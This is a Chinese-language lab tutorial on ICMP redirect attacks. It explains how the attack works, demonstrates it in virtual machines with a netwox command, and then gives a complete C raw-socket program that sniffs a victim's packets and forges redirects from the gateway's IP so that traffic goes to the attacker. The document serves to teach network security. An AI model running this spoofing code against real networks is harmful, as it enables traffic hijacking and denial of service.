ICMP重定向攻击
一台主机通过网关G1访问网络X,G1在转发时发现主机直接通过另一个网关G2访问网络X会更快,这时候就可以发送一个重定向报文告知G1,访问网络X时的默认网关调整为G2。这样,在下一次主机想要访问网络X时,就会通过G2进行访问。
这时如果一个主机2想要对主机1进行攻击,可以伪装成G1,向主机1发送一个重定向报文,让主机1把对X的默认路由修改成一个错误地址,这样主机1就没法再访问网络X了。
但是ICMP重定向报文不能这么直接发送(否则这样的网络就太容易受到攻击了)。在正常的情况下,只有G1收到了主机1发送到网络X的包之后,才可能发送一个重定向报文给主机1。所以为了让主机1相信这个重定向报文是G1发送的,G1会把主机1发过来的原始报文的一部分,写到重定向报文中,证明自己是网关G1。
如果主机2和主机1同在一个网段,它想发起重定向攻击,就必须:
- 抓取主机1发送给G1的包
- 利用这个包,伪装成G1向主机1发送ICMP重定向报文
ICMP重定向报文格式
可以利用netwox和wireshark来模拟一下这个攻击:
开启两个虚拟机,分别为攻击者和被攻击者。这里的ip地址分别为:
- 网关:192.168.52.2
- 攻击者:192.168.52.144
- 被攻击者:192.168.52.146
被攻击者持续ping百度:
ping www.baidu.com
在攻击者这里用netwox来做一下重定向攻击:
以源ip = 192.168.52.2的身份构造一个重定向包发送给被攻击者,指定了新的网关为192.168.52.144,即攻击者自己。
sudo netwox 86 -g 192.168.52.144 -i 192.168.52.2
受害者视角
由于攻击者默认不转发包,所以被攻击者把ping包发送给攻击者后就不会再ping通了。
下面是原始ping包:
重定向包中可以看到源ip是网关地址,且包含一部分原始报文:
下面的实验就是用raw socket来实现一遍netwox的工作。
RAW SOCKET
SOCK_STREAM和SOCK_DGRAM都只能处理运输层往上的数据,而为了实现这个攻击,需要自己处理网络层的数据,所以需要用到SOCK_RAW。
使用RAW SOCKET处理网络层数据时,内核会自动帮我们处理ip头部信息,但是为了伪装成G1,我们ip头部的src就必须修改为网关G1的ip地址。这时可以用setsockopt函数设置socket选项,让我们自己构造ip头部。
代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/ether.h>
#define BUFFSIZE 1 << 10
#define CAPTURE_SIZE 28
#define IP_HEAD_LENGTH 20
#define ICMP_HEAD_LENGTH 8
char* gateway_ip = "192.168.52.2";
char* self_ip = "192.168.52.144";
char* target_ip = "192.168.52.146";
/* 抓到目标ip发出的包后,将28字节内容写入pkt中 */
void Sniffer(unsigned char* pkt) {
unsigned char buff[BUFFSIZE];
int rawsock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (rawsock < 0) {
printf("sniffer socket error.\n");
exit(0);
}
/* 直到抓到目标ip发出的包 */
while(1) {
if (recvfrom(rawsock, buff, BUFFSIZE, 0, NULL, NULL) < 0) {
printf("sniffer recv error.\n");
exit(0);
}
struct ip* ip_data = (struct ip*)(buff + 14);
if (strcmp(target_ip, inet_ntoa(ip_data->ip_src)) == 0) {
memcpy(pkt, ip_data, CAPTURE_SIZE);
return;
}
}
}
/* 校验和 */
uint16_t Checksum(uint16_t* data, int length) {
uint32_t sum = 0;
while (length > 1) {
sum += *data;
++data;
length -= 2;
}
if (length == 1) {
sum += ((uint32_t)(*((unsigned char*)(data)))) << 8;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
/* 根据pkt,构造icmp重定向包并发送 */
void Attack(char* pkt) {
int sendsock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (sendsock < 0) {
printf("Attack socket error.\n");
exit(0);
}
int on = 1;
/* IP_HDRINCL: 自定义ip头部 */
if (setsockopt(sendsock, SOL_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
printf("Attack socket opt error.\n");
exit(0);
}
int size = IP_HEAD_LENGTH + ICMP_HEAD_LENGTH + CAPTURE_SIZE;
unsigned char sendbuff[size];
/* 构造ip头部 */
struct ip* ip_head = (struct ip*)sendbuff;
ip_head->ip_v = 4; //version
ip_head->ip_hl = 5; //head length(4Bytes)
ip_head->ip_tos = 0;
ip_head->ip_len = size; //total length(1Bytes)
ip_head->ip_id = 0;
ip_head->ip_off = 0; //fragment
ip_head->ip_ttl = 255; //time to live
ip_head->ip_p = IPPROTO_ICMP;
ip_head->ip_sum = 0;
inet_aton(gateway_ip, &(ip_head->ip_src));
inet_aton(target_ip, &(ip_head->ip_dst));
/* 构造icmp头部 */
struct icmp* icmp_head = (struct icmp*)(sendbuff + IP_HEAD_LENGTH);
icmp_head->icmp_type = ICMP_REDIRECT;
icmp_head->icmp_code = ICMP_REDIR_HOST;
icmp_head->icmp_cksum = 0;
inet_aton(self_ip, &(icmp_head->icmp_gwaddr)); //自身ip作为重定向中的网关ip
memcpy(((char*)icmp_head) + ICMP_HEAD_LENGTH, pkt, CAPTURE_SIZE); //目标主机发出的包的一部分
icmp_head->icmp_cksum = Checksum(icmp_head, ICMP_HEAD_LENGTH + CAPTURE_SIZE);
/* 发送重定向包 */
struct sockaddr_in target;
target.sin_family = AF_INET;
inet_aton(target_ip, &(target.sin_addr));
if (sendto(sendsock, sendbuff, size, 0, (struct sockaddr*)&target, sizeof(target)) < 0) {
printf("Attack send error.\n");
exit(0);
}
close(sendsock);
}
int main() {
/* 存原始报文,来构造重定向包 */
unsigned char pkt[CAPTURE_SIZE];
while (1) {
Sniffer(pkt);
Attack(pkt);
}
return 0;
}
注:需要开启混杂模式,才能抓取到目的ip不是本机的包,程序在运行时需要sudo。